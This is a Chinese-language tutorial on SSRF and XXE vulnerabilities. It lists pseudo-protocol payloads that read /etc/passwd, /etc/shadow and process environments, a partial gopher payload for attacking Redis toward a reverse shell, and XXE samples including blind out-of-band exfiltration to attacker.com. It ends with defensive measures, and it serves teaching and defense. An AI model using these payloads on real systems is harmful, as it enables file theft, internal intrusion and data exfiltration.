一、SSRF 概述

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。SSRF 形成的原因多数是由于服务端提供了从外部获取数据的功能,但没有对目标地址做严格的过滤与限制,导致攻击者可以自由构造任意的内网或外网请求。

1.1 漏洞危害

  • 探测内网存活主机与开放端口

  • 读取内网敏感文件(如云服务器元数据)

  • 攻击内网应用(如 Redis、MySQL、Memcached)

  • 利用 file/gopher/dict 等伪协议进行更深入的利用

  • 绕过身份认证或访问控制

1.2 常见场景

  • URL 分享、转码服务

  • 图片/文件远程下载功能

  • Webhook 回调地址验证

  • 在线翻译、在线预览功能

  • 数据库内置功能(如 MongoDB 的 $where、PostgreSQL 的 COPY

二、SSRF 伪协议利用

当 SSRF 漏洞存在且服务端所使用的函数支持多种协议时,攻击者可以通过伪协议(Pseudo Protocols)扩大攻击面。以下是常见的伪协议及其用途:

伪协议

用途

示例

file://

读取本地文件

file:///etc/passwd

dict://

探测端口、与 TCP 服务交互

dict://127.0.0.1:6379/info

gopher://

构造任意 TCP 数据包(最强大)

gopher://127.0.0.1:6379/_*3%0d%0a...

http://

发起 HTTP 请求(探测 Web 服务)

http://127.0.0.1:8080/admin

ftp://

读取 FTP 文件或探测 FTP 服务

ftp://anonymous:anonymous@192.168.1.1

php://

PHP 流包装器(需特定函数支持)

php://filter/convert.base64-encode/resource=config.php

2.1 file 协议利用

# 读取系统敏感文件
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
file:///proc/self/cmdline

# Windows 环境下
file:///C:/Windows/win.ini
file:///C:/inetpub/wwwroot/web.config

2.2 dict 协议利用

dict:// 协议最初用于访问 DICT 字典服务,但在 SSRF 场景中常用于探测内网端口并与 TCP 服务进行简单的交互。

# 探测 Redis 服务信息
dict://127.0.0.1:6379/info

# 探测端口开放情况
dict://192.168.1.100:22/info
dict://192.168.1.100:3306/info

2.3 gopher 协议利用

gopher:// 是 SSRF 中最强大的伪协议,它可以发送任意格式的 TCP 数据包,常用于攻击内网中的 Redis、MySQL、Memcached 等服务。数据包中的特殊字符需进行 URL 编码。

# 向 Redis 写入 SSH 公钥(利用 cron 反弹 shell)
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0akey1%0d%0a$...
# 利用 Redis 写 crontab 任务实现反连

三、XML 原理

XML(Extensible Markup Language)是一种可扩展的标记语言,用于结构化存储和传输数据。XXE(XML External Entity)漏洞源于 XML 解析器对外部实体的不当处理。

3.1 XML 基础结构

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
  <!ENTITY author "John">
]>
<note>
  <to>Alice</to>
  <from>&author;</from>
  <message>Hello, World!</message>
</note>

3.2 实体分类

  • 内部实体:直接在 DTD 中定义的实体

  • 外部实体:引用外部文件或 URL 的实体(使用 SYSTEM 关键字)

  • 参数实体:仅在 DTD 内部使用的实体(% 定义)

  • 通用实体:在 XML 文档中引用的实体(&实体名;

四、XXE 攻击示例

4.1 文件读取

利用外部实体读取服务器上的敏感文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

4.2 利用 PHP 伪协议读取文件

当 XML 解析器基于 PHP(如 SimpleXML、DOMDocument)时,可以使用 base64 编码读取 PHP 文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=config.php">
]>
<root>
  <data>&xxe;</data>
</root>

4.3 SSRF 结合 XXE

利用 XXE 进行内网探测,将外部实体指向内网地址:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.1:80/">
]>
<root>
  <data>&xxe;</data>
</root>

五、Blind XXE(盲 XXE)

当服务端不回显实体内容时,可以使用 Blind XXE 技术通过带外(OOB)方式获取数据。

5.1 带外数据外带(OOB)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&send;</root>

攻击者服务器上的 evil.dtd 内容:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

5.2 错误消息外带

通过触发 XML 解析错误,在错误消息中泄露数据:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<root>test</root>

六、XXE 内网探测

XXE 不仅可以读取文件,还可以用于对内网进行探测和信息收集:

6.1 端口扫描

通过 HTTP 请求的响应时间或错误信息判断端口是否开放:

<!DOCTYPE foo [
  <!ENTITY scan SYSTEM "http://192.168.1.100:22">
]>
<root>&scan;</root>

6.2 内网服务指纹识别

  • 通过 HTTP 响应内容识别 Web 应用类型和版本

  • 结合 dict:// 协议探测数据库等服务

  • 利用 Blind XXE 带外获取服务 Banner 信息

七、防御措施

7.1 SSRF 防御

  1. 白名单策略:仅允许访问指定域名或 IP 列表

  2. 禁用伪协议:在 curl、file_get_contents 等函数中限制仅允许 http/https

  3. 内网 IP 过滤:阻止对 127.0.0.1、10.x.x.x、172.16-31.x.x、192.168.x.x 等内网地址的请求

  4. DNS 解析验证:对用户输入的 URL 进行二次解析,防止 DNS Rebinding 攻击

  5. 限制重定向:禁止跟随 30x 重定向,防止绕过

  6. 最小权限原则:运行应用的服务账户不应具有高权限

7.2 XXE 防御

  1. 禁用外部实体:在 XML 解析器中禁用 DTD 或外部实体解析

  2. 使用安全的解析库

    • PHP:libxml_disable_entity_loader(true)

    • Java:DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)

    • Python:使用 defusedxml 替代标准 XML 库

    • .NET:设置 XmlReaderSettings.XmlResolver = null

  3. 输入验证:对 XML 格式的输入内容进行过滤和验证

  4. 最小化功能:不使用不必要的 XML 功能(如 XInclude、XSLT)